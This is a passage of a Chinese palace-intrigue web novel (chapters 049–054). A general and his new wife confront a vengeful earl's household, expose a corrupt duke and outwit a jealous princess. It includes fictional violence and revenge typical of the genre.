姜夜沉跪得笔直,看向皇帝的眼神坚定执拗。
皇帝想起在北疆之时,这个意气风发的年轻人举起酒杯敬天地敬他。
“臣来人世走一遭,忠心皇上,守疆土护万民。”
“臣相信安国在皇上的励精图治之下,定会国泰民安,那时,臣就娶亲生子。”
如今,姜夜沉娶亲。
可,生子。
终归,是他欠姜夜沉的。
有的人,一旦认准信仰,就是生生世世。
姜夜沉,就是这样的人。
“夜沉,你先回府,婚假延长五日。”皇帝一锤定音。
“是,臣领旨告退。”姜夜沉接话极快,溜的更快。
姜夜沉喜提五日婚嫁。
他从宫门出来,宝剑扔给大福,扬声道,“速回将军府,陪夫人用膳。”
暗处打探消息的人,看着马车消失的地方,拍一把大腿,赶忙回去禀报。
将军好像没失宠啊。
人们看到皇帝身边的大太监李生德先去襄王府,又去将军府。
接着,传出消息,皇帝厚赏襄王妃,又命襄王妃身体痊愈后亲自教导徐贵妾,不,是教导徐夫人规矩。
皇帝是处罚了徐慧珠,罚她禁足,罚她为边疆将士缝制军衣。
果然,论得帝心,还得看姜夜沉。
“夫人,将军回府了。”
金夏兴冲冲跑来禀报。
虽然才来将军府三日,先不说徐慧珠的感受,三金适应特别快,把将军府当作家了。
尤其是金夏,已和将军府护卫们打成一片,不是在切磋武艺,就是在练习剑舞。
日子过得充足又快活。
金秋也来凑趣,“大厨房的春娘说,将军食辣,夫人也喜辣食,要奴婢说呀,夫人和将军就是上天注定的缘分。”
“对对对,这叫天生一对。”金夏觉得在将军府三日,胜过尚书府十几载的时光。
连一向话少内敛的金冬,笑容也越发明媚,“奴婢祝愿夫人和将军恩爱到白头。”
三金齐声,“奴婢忠心于夫人,生不离死不弃。”
第049章:给小可怜上柱香
短短三日,主仆都感受到,在将军府过的生活,才是她们期盼的生活。
安稳又舒畅。
至于将军不能人道之事,徐慧珠心里不介意,三金自然尊重主子的选择,她们绝不会在主子面前胡说一句是非。
这世间的事情,这世间的人,哪有真正的完美无瑕,有失才有得,只要夫人和将军情不移爱不变,床笫之欢算得了什么。
徐慧珠笑而不语。
三金所言,亦是她所想,这将军府的生活,合她心意。
想到姜夜沉,徐慧珠嘴角禁不住上扬,她两世蹉跎,大概菩萨都看下去,嫌弃她蠢笨如顽石,才给她这一世的机会。
金冬提说正事。
“夫人,今日普神医为金春看诊,从胎像看八成是男孩。”
“金春说,她想好了,夫人要苗家落败,要苗大人的命,她愿做夫人手里的刀。只求夫人给她和腹中孩儿活着的机会。”
金春能想通,在徐慧珠的意料之中,金春生性自私,只爱自己。
金春受不住苗耀祖给予的诱惑,背叛她这个主子,又因命攥在她的手里,背叛旧主徐从德......
苗家的富贵,唾手可得,金春如何不心动?
可惜,金春和腹中孩儿注定落得一无所有的下场,她一个没名没分的外室,再带着一只拖油瓶,又如何在这世道求生存?
“告诉金春,我会安排她和苗夫人见面,怎样利用腹中孩儿说动或威胁苗夫人弑夫,就看她的本事了。”
“机会只有一次,她若不把握住,就去阴曹地府陪苗耀祖吧。”
徐慧珠为苗大人安排了好几种死法,最后选择最让他痛苦的一种。
很快,苗大人就能体会到。
“金夏,今晚陪我出府一趟,我想去伯府看看徐云晗过的好日子。”
“夫人难道忘了洞房花烛夜答应为夫,要......妇唱夫随。”姜夜沉的身影挡住外面的阳光,徐慧珠只觉得一座山压向自己。
“你干坏事,我望风,男女搭配,事半功倍。”
“不好吗?”
徐慧珠丝毫没有被抓包的不自然,正要从贵妃塌起身,却快不过姜夜沉。
山,当真压在她的身上。
唇,更快落下。
齿,纠缠不休。
“好,将军陪我去。”
徐慧珠快要喘不过气,她好想质问一句,明明不能人道,为何总是主动撩拨,不觉得残忍吗?
姜夜沉就不怕,她被他撩拨的耐不住寂寞,一支红杏出墙去,或者在他的眼皮子底下偷欢三两个身强力壮的护卫。
兵法有云,最危险的地方也许最安全。
膳食很快摆上桌,两人相对坐下,一边用膳,一边闲话。
御书房发生的事情,姜夜沉本就没打算隐瞒,当作乐子讲给徐慧珠听。
姜夜沉不接受太子抛来的橄榄枝,根本原因在于太子这个人入不得他的眼,从太子以卑劣手段强娶陈沅沅那一刻,他和太子注定只能做敌人。
“说起来,襄王妃受伤,也是无妄之灾,我们理应备上厚礼探望才是。”
“不着急,等凝玉公主去襄王府的那一日,为夫陪你同去。趁凝玉公主出宫,夫人想怎么收拾她,尽管收拾,为夫身强力壮,为你顶着。”姜夜沉最是记仇,今日皇后娘娘想要杖毙徐慧珠,让他新婚就守寡,此仇此怨,母债女偿。
“既然将军要求,那我就把剪刀磨得锋利些,好帮将军剪断烂桃花。”
“如此,为夫感谢夫人的贴心。”
三金听着两位主子的对话,气氛融洽到让人感动,这应该就是美好姻缘的模样吧。
月黑风高夜,适合窥探秘密,也适合看戏。
“夫人,要不您向将军求求情,带上奴婢呗。”
“奴婢保证只看戏,不说话,将军要同夫人说情话,奴婢保证第一时间捂耳朵。”
“将军要亲夫人,奴婢保证第一时间捂眼睛......”
“夫人,奴婢就觉得这心里空落落的,奴婢的活被将军抢了去。”
伯府。
夜色暗淡,气氛压抑。
府里还挂着白布,贴着符咒,随处都是纸钱......
苏氏为宋世茂停灵七七四十九天,还捐献一万两香油钱请来大平寺和尚诵经,她这是让宋世茂来世投胎帝王家啊。
苏氏本事不多,贵在够狠,否则当年也不会活生生打死大腹便便的妾室。
一尸两命,偿还长子的命。
宋鸿悄悄葬了宠妾,却被苏氏撞破,直接当着宋鸿的面挖出妾室的尸骨,喂
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食狼狗。
最后,连骨头渣都不剩了。
“少夫人真可怜,毁了容貌,又被家族当作弃子送来和二公子配对阴婚,夫人让少夫人每日跪够两个时辰,还让她每晚独自守着公子的棺木......”
“你说,少夫人不觉得害怕吗?万一......万一公子夜半从棺木里爬出来......”
“呸呸呸,鬼怪不听,鬼怪不听。大半夜的,讲什么鬼故事,吓死个人咧。”
忽然,传来一声尖叫,“快来人啊,少夫人失心疯了。”
“快点快点,少夫人要烧了公子啊。”
刚刚在讲鬼故事的两名奴婢,撒腿就往一个方向跑去。
迟了,公子就被烧了,只怕今晚当值的奴仆,都得死。
徐慧珠和姜夜沉眼神对视:去灵堂。
来都来了,要不,给宋世茂那个小可怜上柱香?
问候一句,他在阴曹地府过得可好?
灵堂里,烛火全熄,唯有徐云晗手里举着的一盏烛火,在漆黑的夜,散发微弱诡异的光。
徐云晗一身红嫁衣,披散着长发,站在棺木的旁边,更像厉鬼。
棺盖被推开,哪怕宋世茂的尸身冰冻着,也因为放置时间久了,散发一阵阵腐朽的恶臭。
“**,你敢?”
苏氏浑身发抖,站立不稳,大半身子依靠在心腹何嬷嬷的身上。
“苏烟雨,你说我敢不敢?”
“与其受你这个老**折磨,活得生不如死,那就死啊,大家一起死。”
“宋世茂活着是废物,**更是垃圾,他怎敢污我毁我?”
“苏烟雨,你妄想人间废物去阴间变宝,来世投胎帝王家?”
“哈哈哈,我偏不如你的愿,顺你的意。”
一个疯子在猛然间失去所有后,就变得有恃无恐,因为她对世间万物已不再有留恋。
徐云晗举着烛火的手往棺木移了一寸,正对宋世茂的脸,滋啦,滚烫的蜡油滴落在宋世茂的脸上,一股焦肉的臭味直钻苏氏的鼻孔。
“贱-人!”苏氏捂住心口,痛到窒息。
她不该听宋鸿的话,就该早些弄死徐云晗,既是配对阴婚,那就到阴曹地府去侍奉她的儿子。
“**!”
“说,你要如何?”
第050章:偷尸的贼
当初,宋世茂迷恋徐云晗的美色之时,苏氏就苦口婆心劝说过,苗安媛和徐云晗母女就是一对蛇蝎美人。
沾染不得。
苏氏可不信,徐云晗当真为了烧毁宋世茂的尸身才演这一出。
小小年纪,心机阴毒,不能小觑。
“苏烟雨,我要你即刻派出伯府所有暗卫,去将军府抓来徐慧珠。”
“相信我,给宋世茂配阴婚,徐慧珠更适合。”
徐云晗的目光含毒,她被困在这该死的灵堂里,日夜与宋世茂腥臭的尸体为伴,脸上的伤口溃烂流脓......活的不如一条狗。
她活不成,那就拉上徐慧珠作陪。
尚书府的女儿里,她才是最聪慧最有价值的那个人,徐慧珠就不该存在。
苏氏满眼震惊,伯府是日渐颓败,但祖辈留下的保命东西还剩下一点,徐云晗怎么知晓伯府藏着一队暗卫,又如何知道她也能调令暗卫?
这些年,宋鸿用她的嫁妆养着暗卫,她要来暗卫的调令,为的就是给予宋世茂一份保障。
“苏烟雨,我早就告诉过你,我和你的蠢货儿子都被徐慧珠算计了,宋世茂的死,徐慧珠也是凶手之一。”
“所以,苏烟雨,你只折磨我一人,你说,宋世茂能死得瞑目吗?”
“再说,宋世茂那么贪恋美色,他在阴间只有我一个怎么够,弄死徐慧珠,还有她身边的双生奴婢......宋世茂可日日换着新鲜**......”
若是长子宋世融还活着,面对宋世茂的死,苏氏即便悲痛欲绝,还有一半生机支撑她活下去。
如今,她的两个儿子已死,她的心也**。
她本做好打算,待送走宋世茂,暗卫就是她手里的一把刀,用来**伯府,像宰杀牲口一样,一个一个放干他们的血。
她要拉着整个伯府一同赴黄泉,当年长子的仇,血债血偿,才偿还一半。
她要......宋鸿死,万般痛苦与绝望的死去。
徐云晗的话,苏氏信一半疑一半,可就这一半,她已心动。
因为,苏氏也怀疑过徐慧珠。
为儿子报仇,宁可错杀也不能放过,就算徐慧珠无辜又如何?
她的宝贝儿子就是到阴间,也要过得滋润顺心。
“好,我答应你!你再敢伤害我儿一分,我现在就将你千刀万剐。”
或许恨意支撑,苏氏觉得身体恢复了一些力气,“何嬷嬷,你去......”
“去下令暗卫杀我吗?”徐慧珠自黑暗而来,她本想甩开姜夜沉的手,奈何这家伙是个赖皮,跟一块黏牙糖似的。
“你......你......”苏氏一双充血的眼睛,瞪的溜圆。
姜夜沉哪舍得夫人劳累,自然是主动表现了。
“本将军和夫人膳后消食,散步伯府外,听锦衣卫禀报,有人想杀本将军的夫人。”
“夫人心善,便说既然伯府想**,那就主动登门,免得伯府派人跑一趟,一来一回的,累得慌......”
膳后散步消食?
怎么?将军府的花园不够宽敞还是花儿开得不够娇艳?能从将军府一路散步到伯府,真当两府是邻居了。
宋鸿正搂着妾室酥软香甜的身子,忙活着。
管事先是禀报少夫人发疯要烧二公子的尸身,接着护卫又说苏氏要调令暗卫夜闯将军府,抓徐慧珠。
徐慧珠是谁?
姜夜沉新娶的贵妾,不,是夫人。
这位徐夫人看似愣头青,实则厉害,在婚宴上殴打凝玉公主,至今还能安然无恙活着......
说明什么?
说明姜夜沉此人深得帝心,惹不起,得罪不得啊。
宋鸿哀嚎一声,怀里的美人不软也不香了,他粗暴推开美人,翻滚下床就往灵堂跑。
想他呕心沥血顺着徐从德刚搭上姜夜沉,还没等做什么,**他亡伯府吗?
哪知,宋鸿一只脚刚跨过门槛,就看到姜夜沉这尊大佛,他以为自己眼花,使劲儿揉了揉眼睛,又呼了自己一巴掌,天呐,真的是大佛降临。
没等他爬过去行礼问候,又听到姜夜沉说的那番话。
天,炸了。
地,裂了。
伯府,完了。
锦衣卫就是大佛的眼睛,为皇帝窥探世人的秘密。
苏氏何其天真,当真以为她养的那一队暗卫,能有资格在锦衣卫的眼皮子底下行凶?
啪啪。
“蠢妇!”
宋鸿暴怒,“苏氏,你教子无方,怎么不陪你的废物儿子**?”
“我伯府上上下下近百口人,岂容你这个蠢妇
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祸害?”
啪啪。
**啪。
这些年,宋鸿因着长子的死,自觉愧疚,才容忍苏氏的嚣张气焰。
宋鸿绝不承认,他是贪苏氏的丰厚嫁妆,图苏氏赚银子的能力,享受惯了富贵,谁愿意苦哈哈的吃糠咽菜?
宋鸿下手极重,何嬷嬷扑上去相护,却被宋鸿一脚踢开,头撞到棺木上,撞出个大窟窿,咕咕往外冒血,很快就断了气息。
“苏-氏!”宋鸿打够了,狠狠推开苏氏,满脸堆笑行礼,“下官见过将军,见过徐夫人。”
“苏氏受人挑唆,脑子糊涂,万幸还未酿成大错。请将军恕罪,下官一定严厉处置苏氏。”
宋鸿不忘甩锅给徐云晗,以分散姜夜沉的怒火。
这事,若仔细追究,是徐慧珠和徐云晗姐妹之间相残相杀,苏氏犯蠢,被徐云晗利用了。
“宋伯爷,你儿子......烧着了。”徐慧珠指了指后面,“宋伯爷没闻到焦肉的气味?”
刚刚暴怒中的宋鸿,一心想要以实际行动向姜夜沉解释清楚。所以,他推苏氏的那一下没掌控好力道,苏氏砸向徐云晗,两人摔倒在地,徐云晗手里的烛火好巧不巧掉落在棺木里。
这火,到底是谁放的?
“夫人,需要救令妹吗?”
“宋世茂一个人在阴间怪寂寞的,人家是夫妻,我怎好拆散一对有情人呢?”
徐云晗从震惊中回过神来,接着又陷入一片黑暗里。
宋鸿忙着灭火,等灵堂火势得控,他才发现,不知何时,姜夜沉离开了。
他抓住管事的衣襟,一巴掌呼过去。
嘶。
好疼。
原来不是梦。
宋鸿像是想起什么,一屁股坐在地上,一边捶地一边嚎叫:“完了完了,惹上锦衣卫,惹上杀神,**伯府啊。”
“伯......伯爷?”管事不敢摸发疼的脸颊,硬着头皮禀报,“夫人......夫人没气了。”
管事只敢在心里说实话:伯爷,您一怒之下,踢死何嬷嬷,打死夫人。
“什么?夫人......**?”宋鸿愣愣的,“我只打了苏氏几下,怎么就打**?这么不经打?”
伯府一团乱遭,谁也没发现有一名护卫趁乱偷走徐云晗......
第051章:长得丑陋心眼黑坏
两人刚出伯府,就看到巷子里停着一辆马车,金夏正等他们。
“将军准备的?”
“夫人的玉足怎能受累,为夫心疼。”姜夜沉扶她上马车,真把她当着娇滴滴的美人儿了。
不过,这家伙秉承一向占便宜不吱声,趁机捏了两把她腰间的软肉,“夫人的腰,手感柔软,甚合为夫心意。”
徐慧珠瞪了姜夜沉一眼,她活了三世,未和男人这般亲密过,无论言语还是身体,羞的脸颊通红。
“出了卧房,将军不能说孟浪的话,也不准行孟浪的事。”
“夫人说得是,那为夫就当这马车是卧房。”
徐慧珠发现只要两人在一起,姜夜沉就化身糖果子,恨不能黏在她的身上。
不,应该说,他是蜜蜂,她是花儿。
他时时刻刻都想采花蜜。
“还要说正事。”
姜夜沉回嘴,“为夫抱着你,妨碍说正事了吗?”
徐慧珠只得说服自己,随他闹她,随他撩拨她,她意志坚韧,能扛得住。
她偷偷为姜夜沉诊脉,也私下问过普神医,姜夜沉不能人道,病因一半在于身体,一半在于心理。
她在等,等他亲口告诉她,在北疆的那一夜,究竟发生过什么?
“将军,徐云晗不见了。”
“去查。”姜夜沉下令。
徐慧珠接话,“等一下,从坞国会馆查起。”
重头戏才真正开始,唯有将徐云晗逼至绝境,她背后的毒蛇才能露出痕迹。
这一世,徐慧珠要护住姜夜沉,就是为了和他好好在一起。
一辈子那么长的时光,两个人一起过,才有趣有意义。
“夫人抢了为夫的话。”姜夜沉的手不安分,一会儿捏捏她的手指,一会儿摸摸她的脸颊......像一只肉虫似的,贪恋她的身体。
“夫人难道也认识坞国王子察尔通?”
“这个察尔通长得丑陋心眼黑坏,听说坞国君王就是嫌察尔通长得丑,拉低皇族容颜,才挑选他来安国。”
“徐云晗做察尔通的棋子,只能说明她眼光差审美低,比不过夫人,嫁给京城最英俊神武的男子。”
徐慧珠本想反驳,偏偏,姜夜沉看似胡说,却句句在理。
“接下来,如何收拾察尔通,还不牵扯到尚书府,就拜托将军了。”
做好事得留名,才符合姜夜沉的行事风格。
徐慧珠回门当天,姜夜沉和徐从德在书房里商谈一个时辰,告别之时,徐从德看向她的眼神,比往日更深沉。
“父亲觉得我在将军府吃得太好,胖了些?”
徐从德目光一闪,掩下别扭的情绪,“这套黄色衣裙......很漂亮。”
难得徐从德夸她,记忆里,应该头一回。
“父亲是想起了娘亲吧?”
“我记得娘亲总爱穿黄色衣裙,还喜欢在袖口处绣三朵小花,说是一家三口。”
“娘亲还说待生下弟弟或妹妹,她就绣四朵小花。”
“我已记不清娘亲的面容,父亲可还记得?”
徐从德张了张嘴,没回应。
徐慧珠懂得如何气他。
父女本无话,一句就冷场。
徐慧珠笑了,笑的眼圈发红,她说,“将军您瞧,父亲大概是上了年纪,记性变差,连枕边人都忘记了。”
也是,徐从德的枕边人那么多。
只走身不走心的男人,下了床榻,翻天不认人,正常着。
不,应该说,世间男**多得一种通病:脸盲症。
又过了五日,徐从德在朝堂上忽然向闵国公发难,说闵国公贪墨江南三城的税收,一贪就是十年。而且,闵国公在杭州强占千亩茶山......
不等徐从德说完,闵国公怒吼道,“徐从德,黄口小儿,你......你竟敢诬陷老夫?”
徐从德不慌不忙,“国公爷,您稍安勿躁,请听下官解释啊。”
“启禀皇上,臣今日清晨在书房看到这封匿名信,信中说闵国公贪墨的银子和账本就埋在国公府荷花池下的暗室。”
“臣......万万不信,实在荒谬之极。”
闵国公的脸色难看至极,心惊嘴硬,“既是不信,为何如此?”
徐从德深深行了一大礼,“回禀皇上,臣之所以当众说出,是觉得匿名举报国公府的人,心怀不轨,意在诬陷国公府,还要败坏皇后娘娘的清誉。”
“臣一向敬仰国公爷,而且国公爷主管户工两部,还是臣的上封。”
“
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臣心中着急,可臣的力量和能力有限,请皇上为国公爷主持公道、还其清白,也请皇上严惩背后险恶用心之人。”
闵国公一双鹰眼射向徐从德,恨不能扇死他。
他正想说,公道自在人心,无需证明清白,只要皇上信他,有何惧?
可,皇上先是看了一眼闵国公,满含信任,“于公,闵国公乃国之重臣。于私,闵国公乃朕之岳丈。”
“朕自然信闵国公,而不是一封无根无据的匿名信。”
“朕倒想看看,何人胆大妄为,竟敢将脏水泼到闵国公的身上。徐爱卿有一句话说得在理,诬陷闵国公,就是败坏皇后的清誉,就是挑拨朕和皇后的结发夫妻情意......”
众臣面上惶恐,赶紧跪下,“皇上息怒。”
只是,众臣心里好奇,谁写的匿名信?闵国公当真贪墨江南三城税收十年,还把贪墨来得银子藏在自家府里的荷花池下?
接着,皇上的目光落在姜夜沉的身上,“姜夜沉听旨,你即刻带锦衣卫走一趟国公府,挖开荷花池,朕要让天下万民看清楚,荷花池下只有淤泥,没有银子。”
“朕的臣,清白由朕来给。”
“闵国公莫怕,有朕和皇后在,绝不会让人诬陷于你。”
“此事过后,朕从私库拨出银子为你修一个更大更漂亮的荷花池。”
姜夜沉出列,声音一如既往的冰冷,“臣领旨。”
闵国公的脸色,变得铁青。
话,都被皇上堵**。
皇帝又说,“曹文听旨,掘地三尺也要查清,是谁在陷害闵国公,朕绝不放过。”
闵国公只觉得冷汗侵袭,身子发软,快要站立不稳。
“臣领命。”曹文道。
曹文,护龙卫统领,常年以鬼面具示人,传闻唯有皇帝见过他的面容,知道他的身份。
论演戏,皇帝才是个中高手。
贼喊捉贼啊。
“皇上?”闵国公的心,凉入骨。
偏偏,皇帝还说,“李生德,赐座。”
“岳丈,朕陪你等,满朝文武陪你等。你且安心,朕......信你。”
这回,皇帝左手出锦衣卫,右手出护龙卫,对国公府来说,是皇恩浩荡,还是催命?
第052章:奈何国库缺银子
将军府。
徐慧珠正和金秋金冬缝制军衣,又让春娘领着一帮妇人在花亭里纳鞋底,按量按质计价,有银子赚,大家干活的积极性高涨。
“夫人,大福回来了。”
大福一身泥泞,来不及换洗,眼神却亮如星辰,“夫人,国公府荷花池底下挖出两百万两现银,还有无数珠宝古玩,暗室直通国公夫人的床榻。”
大福还不忘讽刺一番闵国公的虚情假意,“京城人人皆赞闵国公和国公夫人的神仙爱情,一生一世一双人的典范,原来情爱是假,守着金山银山为真。”
“夫人,您是没瞧见,国公夫人看着一箱箱搬出来的银子,脸色难看,最后昏厥过去。也不知,国公夫人是心疼银子,还是才发现被枕边人哄骗了大半辈子?”
“锦衣卫已包围国公府,将军入宫,命奴才回府向夫人说明情况。”
抄完国公府的家,大福看徐慧珠的目光,就像在看一尊金菩萨。
一开金口,吐出的都是金银啊,希望夫人这尊金菩萨多开几次金口,这样国库有了银子,边疆将士就能穿上厚实的棉衣,喝上香醇的烈酒,吃上肥美的鲜肉。
“不瞒夫人,将军下令查明侯府,正由奴才负责。”
“明侯府?”徐慧珠得知皇后娘娘想要她的命,那她就让皇后娘娘破个大财,枕边微微小风一吹,哪知姜夜沉直接告诉她,皇上早就吩咐锦衣卫暗中调查闵国公。
“大福,你重点查一查明侯府里的二房,尤其是明道成......”
“谢夫人指点迷津。”大福如愿得到线索。
徐慧珠心情大好,但要说心情最好,绝对是龙椅上的皇帝。
其实,也不算好。
本就属于皇帝的东西,被人贪了,如今又找回来。
失而复得的欣喜吧。
先不说世仇坞国,仓国就是个两面派,一边假意向安国示弱,一边同坞国私下勾结。
好一招联盟克安。
皇帝忍不下这口浊气,有心将仓国和坞国都打趴下,打到**,从此这片大陆上,不再有仓国坞国,唯有强国——安国。
这是皇上的雄心壮志。
奈何国库缺银子。
江南三城的税收早就出问题了,姜夜沉顺着蛛丝马迹查到闵国公,证据掌握不少,但最为关键的银子和账本,去向不明。
直到他们从伯府看完戏,在马车上提说坞国皇子察尔通,徐慧珠才知晓当年察尔通对陈沅沅一见钟情,被拒绝后,怀恨在心。
后来,在太子强娶陈沅沅一事上,察尔通暗里出力。
所以,陈沅沅的死,察尔通也是凶手之一。
徐慧珠说过,陈沅沅的仇,她帮忙报。
那就先灭了察尔通的母国,让他从高贵无双的皇子变成泥坑里的臭虫。
国库缺银子,她就当一回散财童子,给皇帝送一大笔军资。
国公府的覆灭毫无征兆,就像夏日里,前一瞬还是阳光普照,下一瞬便阴云密布、倾盆大雨。
皇帝仁慈,只收回爵位,资产充国库,国公府的人发配回原籍灵县。
没要他们的命,因为皇帝不能废后,也不能废太子。
时机远远未到。
这一日,徐慧珠备下礼物前往襄王府看望襄王妃,也为拜先生。姜夜沉忙活国公府的事情,分身乏术。
冤家路窄。
徐慧珠刚从襄王府出来,迎面就遇上凝玉公主的仪仗。
情敌见面分外眼红,不,应该说凝玉公主眼红,徐慧珠面上云淡风轻。
凝玉公主以为,徐慧珠嫁给不能人道的姜夜沉,就是饥肠辘辘的饿死鬼明明面前摆着一桌山珍海味,却只能看其美色、闻其香味,不能食用。
下了剧毒的山珍海味,谁吃一口试试?
可,徐慧珠这眉眼、这神色,像极了夜夜承欢,尽享男欢女爱?
男女情事,凝玉公主虽未嫁人,却早就懂了。
“请凝玉公主安。”
“徐-慧-珠!”厚重的脂粉也遮掩不住凝玉公主的憔悴,她养病的这些时日,外祖家竟一瞬之间从国公府沦落成平头百姓。
锦衣卫可恶至极,都是恶煞,将国公府抄的干干净净,上百名主子离京之时只有一身单薄的衣裳。
母后悄悄用私房贴补,跟做贼似的。
新仇旧恨。
凝玉公主心里憋
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着的委屈和怒火在瞧见徐慧珠时攀至顶峰,也忽然寻到了宣泄口。
“来,扶本宫下马车,今日就由你侍奉本宫,若做得好,本宫的这支紫水晶簪子就赏你。”
到底是皇族长公主,这一身派头能换一处三进院子,要是把凝玉公主剥光,能给边疆上千名将士换四季新衣。
“这么金贵的紫水晶簪子,公主......公主要赏给臣妇?”徐慧珠一副没见过世面的模样,再加上她今日打扮素淡。
凝玉公主轻敌了。
凝玉公主嗤笑道,“徐慧珠,前提是你侍奉的我舒心。”
徐慧珠与金夏对视一眼,忽然冲凝玉公主行大礼,接着高声道,“凝玉公主,您......您说什么?”
“您要捐五万两银子,为边疆将士添置新衣?”
“好好好,凝玉公主大气,巾帼不让须眉,不愧为我安国嫡长公主......”
徐慧珠这一嗓子吼的,襄王妃一只脚踏出门槛,差点又扭伤腰。
“凝玉?”襄王妃立马换上一副欣慰的表情,“凝玉好样的,我李氏皇族的公主,就是世间女子的楷模。”
“王爷,臣妾......臣妾也出五万两银子,一是为改善边疆将士的生活质量尽一份力,二是支持凝玉。”
“本王这就入宫求见皇上,向皇上提议,由爱妃和凝玉牵头,就在襄王府举办一场募捐宴。”
襄王妃感动不已,握住凝玉公主的手,“有凝玉帮忙,这募捐宴定会圆满成功。”
徐慧珠顺势接话,“先生,请给慧珠机会,慧珠也愿帮忙。”
襄王妃腾出左手,牵住徐慧珠,“好好好,老话说,三个女人一台戏,咱们就让满京城男人瞧瞧,三个女人凑在一起不仅会唱戏,还能干利国利民的大事。”
“是是是,慧珠能与凝玉公主共事,实在太激动了。”徐慧珠眼神真诚,笑容明媚。
“凝玉公主心胸开阔,主动与慧珠和好不说,在听说慧珠近些日子忙活着为边疆将士缝制新衣,豪气捐出五万两银子,凝玉公主大义,请受慧珠一拜。”
徐慧珠深深拜下去......
第053章:公主要好马吃回头草
大丈夫能屈能伸,徐慧珠刚刚讹诈凝玉公主五万两银子,又将美人儿气个半死,行个大礼一点儿也不亏。
就是让徐慧珠此刻将凝玉公主夸赞成一朵花儿,她也会忍着恶心夸到凝玉公主心花怒放为止。
襄王妃和自家王爷配合默契,一唱一和,堵的凝玉公主插不上话。
徐慧珠站在一旁,差点儿没忍住鼓掌喝彩。
难怪姜夜沉告诉她,不必拘谨,襄王妃可深交。
而且,金夏刚刚去吸引好些百姓来围观。
三对一的局面,凝玉公主完败。
凝玉公主气炸了。
气到失语。
不知谁喊了一声,“将军来了。”
这下,目光转移,热闹议论。
没办法,姜夜沉一出现,便是焦点。
毕竟,从前姜夜沉不近女色的形象太根深蒂固,甚至一度传出他可能嗜好男色的谣言,直到后来皇帝忽然给他和凝玉公主赐下婚约。
人们才反应过来,姜夜沉这样的出色儿郎,皇帝早就给自家号上了。
唉,谁能争得过皇帝呢。
凝玉公主看着姜夜沉,目色复杂。
那日在婚宴上,姜夜沉的连番质问,她无法解释。
她心悦姜夜沉,但她嫁的夫君若不能人道,她将成为天下的笑话。
她是安国最高贵的公主,从来都是她嘲讽旁人,如何轮到凡夫俗子笑话她。
她绝不会低下高贵的头颅。
“将军是来接夫人吧?”
“说这不是废话,将军自然来接夫人,正是新婚浓情蜜意时,几个时辰不见那就是如隔三秋,想念的紧。”
于是,有胆大的百姓冲姜夜沉喊,“将军娶的佳人,满意否?”
姜夜沉下马,径直走向徐慧珠,忽然抱起,翻身上马,说道:“夫人,为夫带你去凤凰山赏落日。”
“赴君之约。”不管人前人后,徐慧珠给足姜夜沉里子面子。
将军娶的佳人,满意否?
还需要回答吗?
姜夜沉以实际行动给予的答案,大家都看得清楚真切。
不过一会儿光景,原本喧闹的襄王府大门前只留下凝玉公主和随行宫人。
“公主殿下,奴婢先扶您上马车。”
宫人你看我,我看你,最后还是大宫女初香硬着头皮劝说。
“他......他不曾看我一眼!”凝玉公主喃喃道,“姜夜沉...他...他对我何曾有过一分一毫情愫,不,如果我当初没有冲动悔婚,如今他牵着手的......该是我。”
“初香,你说,本宫那时为何就鬼迷心跳了呢?”
“本宫就是后悔了,为何不行?”
初香身子一抖,“公主殿下,你无错。”
“老话说,好马也吃回头草。将军应该站在原地等您,哪怕等到天荒地老......”
“可是,姜夜沉已经娶亲,是我亲手把他推给旁的女人。”凝玉公主满眼伤痛。
她以为自己的心不会痛,可在见到姜夜沉后,她的心痛到窒息,痛到失语。
她真的后悔了。
为何,姜夜沉不信?
她是她,她只要情爱,只要姜夜沉。
太子是太子,太子要北疆兵权,要锦衣卫。
与她何干?
初香在凝玉公主身边伺候的最久,她能安然无恙活着,每日修炼的技能就是当凝玉公主肚子里的蛔虫,是她保命的本事。
“公主殿下,将军不是娶亲,是纳妾。”
“徐慧珠的身份,是贵妾。”
“贵妾,也是妾,一时飞上枝头,也变不成凤凰。”
“这京城里,唯有公主殿下您才是尊贵耀眼的凤凰。”
“徐慧珠飞得高,不等得意,便会摔死。”
“可是......”凝玉公主的脸色稍微好看了些。
“可是,姜夜沉对徐慧珠那般好。他叫那**‘夫人’,还妾行妻权?”
“就算本宫愿意好马吃回头草,日后本宫在将军府也不想看到徐慧珠那个**。”
没人敢实话实说,说凝玉公主想的太美。
姜夜沉不再顾忌皇帝脸面,不惜曝光真相,百般羞辱,凝玉公主还当作他在埋怨她悔婚,仅仅是发泄情绪......
“公主殿下,男人都好脸面罢了。”
初香只
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得违心安慰,凝玉公主想听美丽的谎言,谁敢说朴实无华的真话。
为了活命。
“你说得也是,姜夜沉做那么多看似过分的事情,又说那么多听似无情的话,就是故意气本宫,他要折磨本宫,让本宫为他难受、为他心痛。”
“唉,问世间情为何物,直叫人让人肝肠脆断啊。本宫这辈子,或许就栽在姜夜沉的手里了。”
初香悬着的一颗心终于落回实处,安抚好凝玉公主,她和其他宫人的贱命暂且保住。
明日的朝阳,她们大概率能看到。
可,后日、大后日呢?
徐慧珠和姜夜沉共骑一马,一路上吸引无数目光,百姓齐齐惊呼:大将军才是世间浪漫第一人。
听说成婚以来,姜夜沉除了当差,余下时间就在将军府,大门不出二门不迈,同自家夫人腻歪不够。
就连一向交好的襄王邀约姜夜沉去醉仙戏楼赏戏,也被无情拒绝,姜夜沉的原话是:家有娇妻,恕本将军无心应邀。
朝臣私下说坏话,姜夜沉不能人道,日日回府做什么?这不是自找苦吃、自找罪受。
装恩爱,迟早露馅儿。
果然啊,男人一生好脸面。
“徐慧珠,抱紧我。”
姜夜沉大婚后越发高调,频频秀爱,如此抬举一个妾,莫说世家正室夫人气到心梗,就是御史大夫也在朝堂上高呼姜夜沉以一己之力破坏安国百年来的传统。
“将军这是要与全世界作对吗?”徐慧珠隐隐明白姜夜沉要做什么。
他捧她至高处,让权贵皆知她可尽仗他的势,不敢轻易欺她辱她。也是要她与他并肩,人挡**,鬼挡杀鬼。
“徐慧珠,为了你,何尝不可?就是与全世界作对,我姜夜沉何惧!”
站在城墙上的禁卫军,刚好听见姜夜沉许下的誓言,犹如一阵风,从城墙吹到千家万户,最后吹到深宫。
御书房里。
曹文正在禀报,整个人包裹在黑暗里,似乎感受不到他的气息。
“护龙卫发现,老王爷五年前曾在雪城出现过,为百年盛开一回的雪莲......”
第054章:将军看起来秀色可餐
“雪莲?”
皇帝捂住胸口,只觉得那里的旧伤又在隐隐作痛。
五年前,仓国进犯,皇帝御驾亲征,亲自挂帅,点姜夜沉为副帅。
在鸡儿岭战役中,皇帝被太后娘娘背刺,身中霜毒。
